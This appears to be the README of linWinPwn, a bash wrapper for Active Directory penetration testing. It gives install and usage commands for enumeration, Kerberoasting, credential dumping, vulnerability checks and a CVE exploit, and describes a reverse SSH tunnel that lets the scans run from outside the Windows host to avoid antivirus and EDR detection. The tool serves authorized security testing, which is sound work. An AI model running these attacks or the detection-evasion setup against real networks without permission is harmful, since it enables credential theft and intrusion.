linWinPwn - Swiss-Army knife for Active Directory Pentesting using Linux

Description

linWinPwn is a bash script that wraps a number of Active Directory tools for enumeration (LDAP, RPC, ADCS, MSSQL, Kerberos, SCCM), vulnerability checks (noPac, ZeroLogon, MS17-010, MS14-068), object modifications (password change, add user to group, RBCD, Shadow Credentials) and password dumping (secretsdump, lsassy, nanodump, DonPAPI). The script streamlines the use of a large number of tools: impacket, bloodhound, netexec, enum4linux-ng, ldapdomaindump, lsassy, smbmap, kerbrute, certipy, silenthound, bloodyAD, DonPAPI and many others.

Setup

Git clone the repository and install requirements using the install.sh script

git clone https://github.com/lefayjey/linWinPwn
cd linWinPwn
chmod +x install.sh
./install.sh

Alternatively, use the pre-built Docker image from Docker Hub

docker pull lefayjey/linwinpwn:latest

# Add linWinPwn_docker to PATH
echo -e "docker run --rm --init -it --net=host -v \$(pwd):/opt/lwp-output lefayjey/linwinpwn:latest \$@" | sudo tee "/usr/local/sbin/linWinPwn_docker"
sudo chmod 755 /usr/local/sbin/linWinPwn_docker
# Run linWinPwn_docker (output to host's current directory)
linWinPwn_docker -t <DC_IP>
linWinPwn_docker -t <DC_IP> -d <domain> -u <user> -p <password> --auto

Or build from source

docker build -t linwinpwn .
docker run --rm --init -it --net=host -v $(pwd):/opt/lwp-output linwinpwn -t <DC_IP>

Usage

Mode

The linWinPwn script can be executed in interactive mode (default), or in automated mode (enumeration only).

1. Interactive Mode (Default) - Open interactive menu to run checks separately

linWinPwn -t <Domain_Controller_IP> [-d <AD_domain> -u <AD_user> -p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]> -o <output_dir>]

2. Automated Mode - Using the --auto parameter, run enumeration tools (no exploitation, modifications or password dumping)

When using the automated mode, different checks are performed based on the authentication method.

Unauthenticated (no credentials provided)
- Anonymous enumeration using netexec, enum4linux-ng, ldapdomaindump, ldeep
- RID bruteforce using netexec
- kerbrute user spray
- Pre2k authentication check on collected list of computers
- ASREPRoast using collected list of users (and cracking hashes using john-the-ripper and the rockyou wordlist)
- Blind Kerberoast
- CVE-2022-33679 exploit
- Check for DNS unsecure updates for AS-REQ abuse using krbjack
- SMB shares anonymous enumeration on identified servers
- Enumeration for WebDav, dfscoerce, shadowcoerce and Spooler services on identified servers
- Check for ms17-010, zerologon, petitpotam, nopac, smb-sigining, ntlmv1, runasppl weaknesses

linWinPwn -t <Domain_Controller_IP> --auto [-o <output_dir>]

Authenticated (using password, NTLM hash, Kerberos ticket, AES key or pfx Certificate)
- DNS extraction using netexec
- BloodHound data collection
- Enumeration using netexec, enum4linux-ng, ldapdomaindump, bloodyAD, sccmhunter, rdwatool, sccmhunter, GPOParser

- kerbrute find accounts with user=pass
- ASREPRoasting (and cracking hashes using john-the-ripper and the rockyou wordlist)
- Kerberoasting (and cracking hashes using john-the-ripper and the rockyou wordlist)
- Targeted Kerberoasting (and cracking hashes using john-the-ripper and the rockyou wordlist)
- SMB shares enumeration on all domain servers using smbmap, FindUncommonShares and cme's spider_plus
- Enumeration for WebDav, dfscoerce, shadowcoerce and Spooler services on all domain servers (using cme, Coercer and RPC Dump)
- Check for ms17-010, ms14-068, zerologon, petitpotam, nopac, smb-signing, ntlmv1, runasppl, certifried weaknesses, ldapnightmare, badsuccessor
- Check mssql privilege escalation paths
- Check mssql relay possibilities

linWinPwn -t <Domain_Controller_IP>  -d <AD_domain> -u <AD_user> [-p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]>] [-o <output_dir>] --auto

Parameters

Auto config - Run NTP sync with target DC and add entry to /etc/hosts before running the modules

linWinPwn -t <Domain_Controller_IP> --auto-config

LDAPS - Use LDAPS instead of LDAP (port 636)

linWinPwn -t <Domain_Controller_IP> --ldaps

Force Kerberos Auth - Force using Kerberos authentication instead of NTLM (when possible)

linWinPwn -t <Domain_Controller_IP> --force-kerb

Verbose - Enable all verbose and debug outputs

linWinPwn -t <Domain_Controller_IP> --verbose

Interface - Choose attacker's network interface

linWinPwn -t <Domain_Controller_IP> -I tun0
linWinPwn -t <Domain_Controller_IP> --interface eth0

Targets - Choose targets to be scanned (DC, All, IP=IP_or_hostname, File=./path_to_file)

linWinPwn -t <Domain_Controller_IP> --targets All
linWinPwn -t <Domain_Controller_IP> --targets DC
linWinPwn -t <Domain_Controller_IP> -T IP=192.168.0.1
linWinPwn -t <Domain_Controller_IP> -T File=./list_servers.txt

linWinPwn -t <Domain_Controller_IP> -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
linWinPwn -t <Domain_Controller_IP> -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt

Tunneling

linWinPwn can be particularly useful when you have access to an Active Directory environment for a limited time only, and you wish to be more efficient in the enumeration process and in the collection of evidence. In addition, linWinPwn can replace the use of enumeration tools on Windows in the aim of reducing the number of created artifacts (e.g., PowerShell commands, Windows Events, created files on disk), and bypassing certain Anti-Virus or EDRs. This can be achieved by performing remote dynamic port forwarding through the creation of an SSH tunnel from the Windows host (e.g., VDI machine or workstation or laptop) to a remote Linux machine (e.g., Pentest laptop or VPS), and running linWinPwn with proxychains.

On the Windows host, run using PowerShell:

ssh.exe kali@<linux_machine> -R 1080 -NCqf

On the Linux machine, first update /etc/proxychains4.conf to include socks5 127.0.0.1 1080, then run:

linWinPwn_proxychains -t <Domain_Controller_IP>  -d <AD_domain> -u <AD_user> [-p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]>] [-o <output_dir>] [--auto]
